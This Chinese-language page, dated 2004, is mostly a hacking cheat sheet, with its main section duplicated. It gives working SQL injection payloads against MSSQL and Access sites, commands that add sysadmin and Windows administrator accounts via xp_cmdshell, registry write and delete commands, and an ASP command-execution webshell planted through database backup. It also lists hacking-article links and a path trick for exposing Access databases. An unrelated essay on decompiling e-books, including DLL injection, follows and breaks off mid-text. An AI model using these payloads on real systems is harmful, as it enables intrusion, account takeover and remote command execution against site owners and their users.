2004年10月31日

1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是否是mssql
;and user>0

3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
and [查询条件] and =

5.搜索时没过滤参数的
and [查询条件] and %25=

6.猜数据库
;and (Select Count(*) from [数据库名])>0

7.猜字段
;and (Select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));–
;and 1=(SELECT IS_MEMBER(db_owner));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_cmdshell net user username password /add;–
;exec master.dbo.xp_cmdshell net localgroup administrators username /add;–

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree c:\
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(上步得到的paths))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;– 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;– 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Run 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,CommonFilesDir 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,TestValueName,reg_sz,hello 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,TestValueName 删除某个值
xp_regdeletekey HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (<% Dim oScript %>);
backup database model to disk=c:\l.asp;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=dbo 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (<%=server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“c”)).stdout.readall%>);
backup database model to disk=g:\wwwtest\l.asp;

请求的时候,像这样子用:
http://ip/l.asp?c=dir

SQL注入天书 – ASP注入漏洞全接触(小竹)
http://fox.163n.com/xyhack/hhh/list.asp?id=222

MSSQL 跨库查询(臭要饭的!黑夜)
http://fox.163n.com/xyhack/hhh/list.asp?id=66

榨干MS SQL最后一滴血
http://fox.163n.com/xyhack/hhh/list.asp?id=309

SQL语句参考及记录集对象详解
http://fox.163n.com/xyhack/hhh/list.asp?id=124

关于SQL Server中存储过程
http://fox.163n.com/xyhack/hhh/list.asp?id=314

利用 mssql backup 创建webshell
http://fox.163n.com/xyhack/hhh/list.asp?id=219

SQL_Injection高级应用
http://fox.163n.com/xyhack/hhh/list.asp?id=221

跨站式SQL注入(老凯(laokai))
http://fox.163n.com/xyhack/hhh/list.asp?id=383

怪异的SQL注入(AMANL)
http://fox.163n.com/xyhack/hhh/list.asp?id=320

SQL Server应用程序中的高级SQL注入(翻译:青野志狼)
http://fox.163n.com/xyhack/hhh/list.asp?id=338

如何利用Sql 注入遍历目录(sinka QQ:20355)
http://fox.163n.com/xyhack/hhh/list.asp?id=316

SQL Injection技巧的演练(翻译人: demonalex)
http://fox.163n.com/xyhack/hhh/list.asp?id=301

SQL数据库的一些攻击
http://fox.163n.com/xyhack/hhh/list.asp?id=152

SQL Injection攻击技术(JSW)
http://fox.163n.com/xyhack/hhh/list.asp?id=208

SQL_Injection高级应用(apachy)
http://fox.163n.com/xyhack/hhh/list.asp?id=221

SQL注入的不常见方法(桂林老兵)
http://fox.163n.com/xyhack/hhh/list.asp?id=231

Backup a shell
http://fox.163n.com/xyhack/hhh/list.asp?id=274

谈php+mysql注射语句构造(黑嘿黑·≯Super·Hei)
http://fox.163n.com/xyhack/hhh/list.asp?id=386

Advanced SQL Injection with MySQL(angel)
http://fox.163n.com/xyhack/hhh/list.asp?id=405

Linjection (My)SQL via PHP
http://fox.163n.com/xyhack/hhh/list.asp?id=420


Oracle SQL语言
http://fox.163n.com/xyhack/hhh/list.asp?id=206


前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

if exists (select * from dbo.sysobjects where id=object_id(N[dbo].[xpcmdshell]) and OBJECTPROPERTY(id,NIsExtendedProc)=1)
exec sp_dropextendedproc N[dbo].[xp_cmdshell]

2.添加xp_cmdshell扩展过程的方法是使用如下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc xp_cmdshell,xpsql70.dll

去除

sp_dropextendedproc xp_cmdshell

(3)MSSQL2000

sp_addextendedproc xp_cmdshell,xplog70.dll

1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是否是mssql
;and user>0

3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
and [查询条件] and =

5.搜索时没过滤参数的
and [查询条件] and %25=

6.猜数据库
;and (Select Count(*) from [数据库名])>0

7.猜字段
;and (Select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));–
;and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));–
;and 1=(SELECT IS_MEMBER(db_owner));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_cmdshell net user username password /add;–
;exec master.dbo.xp_cmdshell net localgroup administrators username /add;–

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree c:\
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(上步得到的paths))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;– 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;– 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Run 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,CommonFilesDir 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,TestValueName,reg_sz,hello 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion,TestValueName 删除某个值
xp_regdeletekey HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (<% Dim oScript %>);
backup database model to disk=c:\l.asp;

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=dbo 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (<%=server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“c”)).stdout.readall%>);
backup database model to disk=g:\wwwtest\l.asp;

请求的时候,像这样子用:
http://ip/l.asp?c=dir

SQL注入天书 – ASP注入漏洞全接触(小竹)
http://fox.163n.com/xyhack/hhh/list.asp?id=222

MSSQL 跨库查询(臭要饭的!黑夜)
http://fox.163n.com/xyhack/hhh/list.asp?id=66

榨干MS SQL最后一滴血
http://fox.163n.com/xyhack/hhh/list.asp?id=309

SQL语句参考及记录集对象详解
http://fox.163n.com/xyhack/hhh/list.asp?id=124

关于SQL Server中存储过程
http://fox.163n.com/xyhack/hhh/list.asp?id=314

利用 mssql backup 创建webshell
http://fox.163n.com/xyhack/hhh/list.asp?id=219

SQL_Injection高级应用
http://fox.163n.com/xyhack/hhh/list.asp?id=221

跨站式SQL注入(老凯(laokai))
http://fox.163n.com/xyhack/hhh/list.asp?id=383

怪异的SQL注入(AMANL)
http://fox.163n.com/xyhack/hhh/list.asp?id=320

SQL Server应用程序中的高级SQL注入(翻译:青野志狼)
http://fox.163n.com/xyhack/hhh/list.asp?id=338

如何利用Sql 注入遍历目录(sinka QQ:20355)
http://fox.163n.com/xyhack/hhh/list.asp?id=316

SQL Injection技巧的演练(翻译人: demonalex)
http://fox.163n.com/xyhack/hhh/list.asp?id=301

SQL数据库的一些攻击
http://fox.163n.com/xyhack/hhh/list.asp?id=152

SQL Injection攻击技术(JSW)
http://fox.163n.com/xyhack/hhh/list.asp?id=208

SQL_Injection高级应用(apachy)
http://fox.163n.com/xyhack/hhh/list.asp?id=221

SQL注入的不常见方法(桂林老兵)
http://fox.163n.com/xyhack/hhh/list.asp?id=231

Backup a shell
http://fox.163n.com/xyhack/hhh/list.asp?id=274

谈php+mysql注射语句构造(黑嘿黑·≯Super·Hei)
http://fox.163n.com/xyhack/hhh/list.asp?id=386

Advanced SQL Injection with MySQL(angel)
http://fox.163n.com/xyhack/hhh/list.asp?id=405

Linjection (My)SQL via PHP
http://fox.163n.com/xyhack/hhh/list.asp?id=420


Oracle SQL语言
http://fox.163n.com/xyhack/hhh/list.asp?id=206


前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

if exists (select * from dbo.sysobjects where id=object_id(N[dbo].[xpcmdshell]) and OBJECTPROPERTY(id,NIsExtendedProc)=1)
exec sp_dropextendedproc N[dbo].[xp_cmdshell]

2.添加xp_cmdshell扩展过程的方法是使用如下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname=xplog70.dll

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc xp_cmdshell,xpsql70.dll

去除

sp_dropextendedproc xp_cmdshell

(3)MSSQL2000

sp_addextendedproc xp_cmdshell,xplog70.dll

关于%5c的暴库利用想已经不是什么新技术了,原因我只找到含糊的说法:\的UNICODE是%5c当提交时,IIS无法正常解析,导致暴库。但我对http://www.hoky.org测试成功后(现在已经补上)问过hoky.pro,得知%5c与IIS的设置是有关系的。而在默认设置下是可以暴库的。
还有很多人说不成功,我要说的三点:
1。一般的错误返回页面是本地IE提供的,所以我们先得关了本地的错误页面,具体在菜单项的‘工具->internet选项->高级->显示友好信息’。
2。对方数据库要是Access型。
3。%5c的暴库需要的是二级目录,一级目录无法成功。如:
http://www.sometips.com%5c1.asp?id=1 不成功
http://www.sometips.com/other%5c1.asp?id=1 成功

好了,上面说的大家都知道,当是废话。在暴库这么好用的东西下,如果一个网站只有一级目录的话,难道就没有办法了吗?
说到重点:
其实一级目录我们也同样可以成功的,我们可以通过构造一个多级目录来达到暴库的目的。
如下:
http://www.target.com/noexists/..%5clist.asp?id=1

这样大家就会有新的惊喜了,呵呵。

补救方法也很简单:
在conn.asp里 加入数据库文件的位置后面加上这句:
On Error Resume Next
就可以了。

常见电子书格式及其反编译思路

作者:马健
主页:http://stronghorse.yeah.net
电邮:stronghorse@tom.com

声明:

  1. 本文可能夹杂大量技术术语,如果您对此感到不快,请勿继续阅读。
  2. 本文仅仅讨论一些思路,不会提供相关源代码,最多也只提供源代码网站的链接。如果您对此有所不满,请勿继续阅读。
  3. 本文仅仅从技术角度讨论电子书反编译问题,请勿将之用于侵犯版权等等非法目的,或损害他人利益。如果您对此感到失望,请勿继续阅读。
  4. 本文版权归作者所有,转载前请先征得作者书面同意。

1. 前言
2. 常见电子书格式及其反编译思路
   2.1 PDF格式
   2.2 基于IE内核的电子书
       2.2.1 CHM格式
       2.2.2 EXE格式
             2.2.2.1 Web Compiler 1.67
             2.2.2.2 Caislabs eBook Pack Express 1.6
             2.2.2.3 通用反编译思路
   2.3 HLP格式
   2.4 小说网/小说世界(ebx/XReader)
3. 结论
附录 基于IE内核电子书的实现方式探讨

1. 前言

本文所描述的电子书,指的是将原始的、可编辑的HTML、TXT、RTF、图像文件等,打包成一个独立的EXE,或其它只有专用浏览器才能读取的文件,打包后的文件通常不可用常规工具进行编辑、全文检索。

本文所描述的电子书反编译,指的是将电子书中的内容提取出来,还原或转换成标准的、可编辑的HTML、TXT、RTF及图像文件等。

就像世间其它事物一样,电子书编译器和反编译器的出现也都不是偶然的,都有其必然性。

在电子书编译器这一方来说,大概从有电子文档那天开始,就有人琢磨着要对电子文档打包了。我个人认为这主要是从以下几个方面进行考虑:

  1. 便于阅读、管理。当年在DOS下阅读文本文件,尤其是中文文件比较麻烦,因此出现了自带中文字库、自带基本浏览(翻页、滚动)功 能的DOS电子书;由于需要在不同OS平台上获得相同的阅读效果,因此产生了跨平台的PDF格式电子书;随着互联网络的发展,大量信息以HTML格式出 现,但是面对一大堆HTML文件,并不是每个人都知道该去双击index.htm或default.htm的,而且文件太多,管理也成问题,因此出现了 CHM格式和各种基于IE内核的EXE格式电子书。
  2. 便于保护知识产权、商业机密。这个问题的重要性相信大家现在都能理解了,不 要说那些包含核心商业机密的东西,就算是区区一本小说,都会有些卑鄙小人把原始的HTML、TXT文件拿去加LOGO、打包,然后声称是自己“辛苦扫校的 成果”,再堂而皇之地收取所谓“VIP费用”。因此PDF一直将文档安全性作为卖点之一,国内的各种独门格式电子书也以防反编译、防内容复制为首要目标。

而反对将通用格式打包成独门格式的人,当然也有自己的道理:

  1. 便于全文检索。如前所述,电子书一般不可用通常的检索工具进行全文检索,这就为资料的有效利用设置了障碍。我个人认为,藏书量在 几十本、上百本的时候,手工建立摘要、索引可能还可以接受;再多以后,我想要的就只是一个快速的全文检索工具,就好像在互联网环境下,对google的依 赖一样。
  2. 便于修改。俗话说:“金无足赤,人无完人”,电子书也是人做的,有时难免会出点什么错,或者因为资讯的发展,需要对原有内容加以修正、补充,这个时候如果面对的是一个不可编辑的EXE,您会有什么感想?
  3. 节 省时间和耐心。Windows在显示文件列表的时候,需要读取文件信息,EXE文件还要读取ICON等,如果装有反病毒软件,进入文件夹的时候,反病毒软 件一般还会自动对文件夹中的EXE文件进行自动检查,而电子书大小一般都在MB级,因此打开包含EXE格式电子书的时候,感觉速度巨慢,比较令人反感。
  4. 节 省空间。一般EXE格式电子书的标准架构是:可执行体+内容+TOC。可执行体指的是电子书的执行代码部分,包括程序代码、插件代码、界面资源等。内容指 的是电子书中真正包含的文本、图像内容,一般使用某种压缩、加密算法进行处理。TOC(Table Of Content)相当于目录索引,作用是加速对内容的访问。因此相对于直接用WinZip、WinRAR对原始内容进行压缩,每一本EXE格式的电子书都 会浪费一部分磁盘空间,以存储执行体部分。电子书的软件界面越花哨,这种浪费一般也越大,我见过最夸张的电子书比原始内容足足多出 1 MB多的东西。
  5. 避免垃圾。对于某些基于IE内核的电子书来说,由于实现技术的限制,可能会在注册表和系统目录下留下垃圾
  6. 安全。如果说如今的网络社会是一个充满恶意、毫无诚信的环境,可能有点夸张了,不过确实有人不知“做人要厚道”为何物。老实说,每次拿到一个来路不明的EXE格式的电子书的时候,我都在怀疑里面有没有什么木马、病毒,实在难受。
  7. 便于平台转换,包括转换到手持设备。EXE格式的电子书看起来可能很爽,但是毕竟只能在Windows下看,如果想在其它系统下看,尤其是在手持设备上看,唯一的出路就是反编译了它。

当然,在反编译后,也必须寻找合适的替代品,以继续满足原先的需要:

  1. 打包工具。建议选择Winzip或WinRAR,不仅使用方便,而且打包后文件也小,进入目录还快。
  2. 阅读工具。现在可以不解包就直接阅读zip/rar文件内容的软件不少,一搜一大把,我自己都做过一个MyReader,不仅可以直接从ZIP/RAR中读取内容,还有自动定位index.htm、书签、现场保护、资源浏览器右键菜单扩展、zip/rar密码自动记忆等功能。
  3. 全文检索工具。可以直接在zip/rar中全文检索的软件也有不少,我自己也做过一个FindStr,支持加密zip/rar,这个工具还可以与MyReader集成,搜索结果可以直接用MyReader直接打开,不需解包。另外它还支持批量文本替换,所以也经常被我用来整理下载到的或反编译出来的小说,包括去除广告链接、绝对URL改成相对URL等。
  4. 对劳动成果的保护。这个直接用zip/rar的密码保护就好。

2. 常见电子书格式及其反编译思路

2.1 PDF格式

PDF格式是Adobe公司推出的一种跨平台电子文档格式,Adobe公司提供专用的文档浏览器,使用户可以在不同平台下获得相同的阅读效果。

其实Adobe公司提供的PDF编辑工具--Adobe Acrobat本身,就已经支持将PDF文件另存为RTF格式,因此我对PDF的反编译研究不多。不过这个功能似乎受到“文档安全性”的限制,好在我 google了一下,破解PDF安全保护的软件似乎不少。如果真的对批量转换有兴趣,在codeproject上也有一篇文章,提供将PDF转换成纯文本的源代码。

从我使用的情况看,Adobe Acrobat本身输出的RTF格式,对英文文档来说应该没有什么太大的问题,顶多是格式有点变化,但是在输出中文文档的时候,偶尔会因为字符集代码错 误,导致输出的文件在Word、写字板中打开的时候,只能看到一堆乱码。对于这种情况,手工替换一下字符集编码即可解决。

出现乱码还有一种可能就是PDF文件中使用了自定义的字库,导致转换出来后的文件无法正常显示,这个比较麻烦。PDF文件自带字库有两种方式:自带 一种完整的字库,称为font embedding;只自带一种字库中要用到的那几个字符,称为font subsetting。在e类出版物论坛的“图书制作、阅读工具区”对此有过讨论,需要的可以自己去看。

不过有一次我试着用过一个叫PDF2Html的软件,这个软件的思想是将PDF文件的每一页转换成一个JPG文件,然后将JPG文件封装到HTML 文件里,加上目录、翻页按钮等,这样在网络浏览的时候,连客户端的Acrobat Reader及客户端字体支持都可以省了。这个软件的HTML文件模板做得怎样先不去说它,最令我奇怪的是,转换出来的图像格式只能是JPG,不能是 PNG。其实对于有大片白色背景的页面来说,使用PNG格式不仅文件长度比JPG小,而且不会象JPG格式一样,在文字、图像边缘产生许多细小的碎片(高 次杂波)。

2.2 基于IE内核的电子书

随着互联网的发展,现在越来越多的网络文档内容是以HTML格式提供的,而微软本身又以控件的形式提供了IE浏览器的内核,可以很方便地被几乎所有Windows下的编程工具所调用,因此目前基于IE内核的电子书似乎占据了主流位置。

2.2.1 CHM格式

CHM(发音为“chum”)的原意是Compiled HTML help file,是微软作为HLP格式(16位Windows下的标准帮助文件格式)的替代格式提出的,因此微软自己不仅随4.01以上版本的IE一起提供免费 的浏览器,而且免费提供制作工具Microsoft HTML Help Workshop。

CHM文件内部使用ITS格式,这是一种非常优秀的压缩格式,感觉压缩比要比zip、rar大。

由于ITS格式的开放性,国外早就有人做出了CHM格式的独立编译、反编译工具,并且公开了全部源代码,需要的人可以到这里看:

http://bonedaddy.net/pabs3/hhm/

这个网站除了提供CHM编译、反编译工具及其源代码外,还提供CHM格式的详细说明,当然是英文的。我做的UnEBook在开始的时候,就使用了其 中chmdeco的源代码,实现批量反编译CHM的功能。如果这个网站不幸登录不了,google一下chmdeco就好,有很多备份站点的。 chmdeco内部使用的是chmlib的源代码,这份源代码很有名,除chmdeco外,chmtools用的也是它。

不过在使用了一段时间后,我发现这份代码在反编译某些CHM文件的时候,会出现数组越界错误。这种错误出现的概率虽然不大,但是出现后还是比较心烦,因此最终放弃了这份代码。

现在UnEBook使用的CHM反编译代码是从这里改出来的:

http://www.codeproject.com/winhelp/htmlhelp.asp

这份代码使用了微软未公开的ITS文件访问接口,直接对文件进行操作。由于使用的都是微软的东西,不仅目标码比较小,兼容性也好得多,目前还没有遇 到反编译不出来的CHM文件(唯一的一次例外,是那个CHM文件本身就打不开),内存漏洞什么的也没有发现。看来微软的东西还是要由微软来对付,方为王 道。

另外某些人制作CHM电子书的时候,为了省事,没有制作index.htm,而是单纯依赖左侧的目录树进行导航。对于这样的电子书,在反编译后,一般还需要根据生成的hcc文件,自动生成一个索引页,以免看的时候不方便。hcc文件结构大致如下:

  1. 多级目录通过<UL>控制,见到<UL>的时候往下走一级目录,</UL>往回走一级。
  2. 目 录项以<OBJECT type=”text/sitemap”>开始,以</OBJECT>结束。以<PARAM NAME=”Name” VALUE=”xxx”>存放项名称,<PARAM NAME=”Local” VALUE=”xxx.html”>存放项链接。
  3. 某些目录项可能只有名称,没有链接。

在UnEbook中,不仅能够根据hcc文件自动生成索引页,还能自动生成框架页,将索引页和显示页嵌入框架中,以最大限度模仿CHM中的目录效果。如果要完全模仿能够动态伸缩的树形目录效果,则需要增加图片、js、css等文件,实在得不偿失。

2.2.2 EXE格式

除了CHM格式外,大量基于IE内核的电子书是以EXE格式提供的。制作EXE格式的电子书工具现在似乎已成为一个产业,养活了大批的程序员。虽然 很多人认为这种格式的电子书很酷:一个文件就可以执行,界面也可以做得很漂亮,还可以带密码保护。但是我个人对这种格式的电子书是最最痛恨的:除了前面说 到的安全性、速度、空间、检索等问题外,我最心烦的一点是目前的EXE电子书都没有好用的书签功能,尤其是没有能够定位到页面中任意位置的书签功能,看长 文档看到一半的时候被打断会很麻烦,所以自从MyReader实现了书签功能后,我就下定决心一定要解决反编译问题。

2.2.2.1 Web Compiler 1.67

这种格式的电子书,因为其制作工具在国内出现得比较早,而且有非常彻底的汉化解密版,所以曾经比较流行,E书时空提供的很多电子书都是这种格式。不过也正因为它的流行,导致想反编译它的人也多,引出了各种反编译工具,所以现在用的人似乎已经不多了。

反编译工具里,收费的就不去说它了,国内RMH和Fbilo还联合推出过免费的unwebcompiler,并且提供全套的Delphi源代码,有需要的到google百度搜索一下unwebcompiler就有了。不过可能国内大多数软件网站的管理员都不是开发人员出身,对源代码不感兴趣,所以收藏的都是212 KB的EXE,有源代码的不多,需要仔细找一下。

在unwebcompiler的源代码里,RMH和Fbilo对Web Compiler 1.67生成的电子书的文件格式进行了详细描述,在这里我就不做无聊的重复,有兴趣就自己去看吧。我做的UnEBook也使用了他们提供的源代码,实现对 Web Compiler 1.67生成的电子书的批量反编译,不过被我将代码从Delphi改成了C,似乎长度缩短了一些(原代码中有一段在字符串和十六进制数之间转换来、转换 去,看起来比较怪异,被我省了),不过LHA解压缩部分改起来实在太麻烦,我直接在网上找了一段现成的C代码来用。

2.2.2.2 Caislabs eBook Pack Express 1.6

这个电子书制作工具也出过汉化版,所以在国内也有一定影响,不过这种影响似乎还没有大到足以使反编译工具满天飞的程度,嘿嘿……

在分析这种格式的电子书的时候,我没有使用任何反汇编工具,用UltraEdit32和系统监视工具就猜出来了:

  1. 文件标识:以十六进制串 00 F8 03 00 结尾。这个似乎是一种惯例,差不多所有EXE格式的电子书都有自己特殊的文件结尾。
  2. 目录块起始地址指针:0003F81C
  3. 目录块中目录项结构:以0字符结尾的文件名+4字节起始地址,文件名起始字节为FF则目录块结束。
  4. 如果文件存放在子目录里,则文件名首字符:02=../,01:第一个00变成/,直到遇到02。
  5. 文件内容实际起始地址:目录项里的4字节起始地址+9
  6. 文件内容长度:目录项里4字节起始地址所指内容,DWORD。

在分析出目录结构后,我曾经想通过调试工具,分析文件加密算法,再反编译出具体的文件内容,但是很快我就发现那样干太累了,实在是得不偿失。

不过在经过几次尝试后,我还是找到了一个偷懒的办法:

  1. 通过安装hook的方法,往电子书的进程空间注入一个DLL。
  2. 在这个DLL里,用Windows标准 的API函数URLDownloadToFile,就可以下载到指定的文件。文件的URL可以按前面说的方法,从目录项得到相对路径,再加上一个固定前缀 (”file://Z:\\com_caislabs_ebk\\”)构成绝对路径。

UnEbook在批量反编译这种格式的电子书的时候,就是按照上面的分析结果实现的。

不过到了更高版本的Caislabs eBook Pack Express的时候,似乎Caislabs公司也开始意识到文件内容保护的重要性,因此不仅对文件内容采用更强的加密算法,杜绝了可以用 URLDownloadToFile下载的漏洞,连目录块的加密强度都强到足够使我不想去分析了。幸好这个时候我已经有了更好的反编译思路--与具体文件 格式无关的,专门针对使用IE内核的电子书的通用反编译思想。

2.2.2.3 通用反编译思路

在分析过几种电子书格式后,我开始领悟到一个真理:电子书内部文件结构的变化是无穷的,而我的时间和精力是有限的;把有限的时间和精力投入到对抗无穷的变数中去,早晚会有累死的一天。

有此认识后,我开始思考有没有什么通用的方法,可以解决大部分电子书的反编译问题(我还没有幼稚到相信这世上会有万能药的程度)。按照惯例(不可救 药的职业病),第一步当然是市场调查、产品定位,结论是目前大多数电子书都是基于IE内核的,但是根据我在开发MyReader时对IE内核的了解,这里 面明显存在一个误区:微软以控件的形式提供IE内核,其目的就是希望通过控件接口的开放性、方便性,吸引更多的人加入微软的标准阵营,如果想在此基础上添 加加密、保护等等内容,恐怕与微软的初衷不合(我说的是当时,以后微软改主意了也说不定)。因此我相信IE内核一定有后门可走!经过一番努力,果然没有令 我失望。

1、基本原理

针对IE内核电子书的通用破解技术实现起来可能需要一些技术和技巧,但是原理却很简单,几句话就可以说清楚:不论电子书在存储的时候如何对内容进行 加密,在将内容传递给IE内核进行显示的时候,一定要将内容转换成IE内核能够识别的标准格式--HTML格式。而IE内核为了便于显示、刷新,在对 HTML代码进行解析后,并不是立刻就把这些HTML代码抛弃,而是在内存里保存了一份备份。因此只要将这份备份从IE内核里搞出来,就得到了解码后的内 容,也就是反编译想得到的内容。

至于网页中的其它内容,包括图片、css、js、Flash文件等,就更简单了:模拟IE内核,直接找电子书要就好。如果电子书分辨不出请求是来自IE内核还是来自其它地方,自然会乖乖把我们需要的东西双手奉上!

虽然反编译的原理几句话就可以说清,但是要加以实现,还需要经过艰苦的探索和试验,我自己就经过了长期的努力,IE内核的源代码都翻来覆去看了好几 遍(吹的,别当真!)。而我思想的发展也大概经历了两个阶段:第一个阶段是在得到某份传说中的源代码(没错,就是那份展开后近700MB,被国内主流媒体 形容为噱头、无足轻重、充满无聊垃圾的东西)之前,完全立足于微软公开的IE内核接口。当时我考虑将电子书内容按照HTML、图像等分类,分别解决获取问 题。第二个阶段是在得到那份源代码之后,我突然发现其实对于所有文件,我都可以直接找电子书要,只要假装是IE内核在要就行了。

由于某些东西比较敏感,因此下面叙述的主要是我第一个阶段的想法,其中有些属于基础性的东西。第二个阶段的实现恕我不便奉告。

2、获取HTML源代码的方法

从IE内核获取HTML源代码的方法不仅我一个人在想,从国内到国外,从CSDN(CSDN的VC/MFC区有一个栏目专门讨论IE内核编程)到MSDN,早就有很多人讨论过了,归纳起来,一般认为可以通过下列步骤实现:

  1. 不管是通过鼠标点击也好,通过EnumChildWindow也好,总之先找到IE内核的显示窗口,也就是电子书显示网页内容的那个窗口。
  2. 通 过这个窗口的句柄(HWND),取得这个窗口对应的IE内核文档接口IHTMLDocument2的接口指针。取得的方法目前认为有两种,我个人认为这两 种需要结合使用,否则总有一些电子书会搞不定:一个是通过MSAA,一个是通过WM_HTML_GETOBJECT消息。至于具体的实现代码,在CSDN 上都快被讨论烂了,因此此处从略,有需要的自己到CSDN上找。不过这两种方法都对平台有要求:XP下是完全没有问题,2000下可能需要装IE 6,98/Me/NT就不要想了。
  3. 在得到IHTMLDocument2接口指针后,按照这个接口提供的标准方法,即可获得文档的HTML代码。具体实现代码见CSDN中的例子。

除了上面这种方法外,我自己还尝试过一种方法:使用MIME Filter。

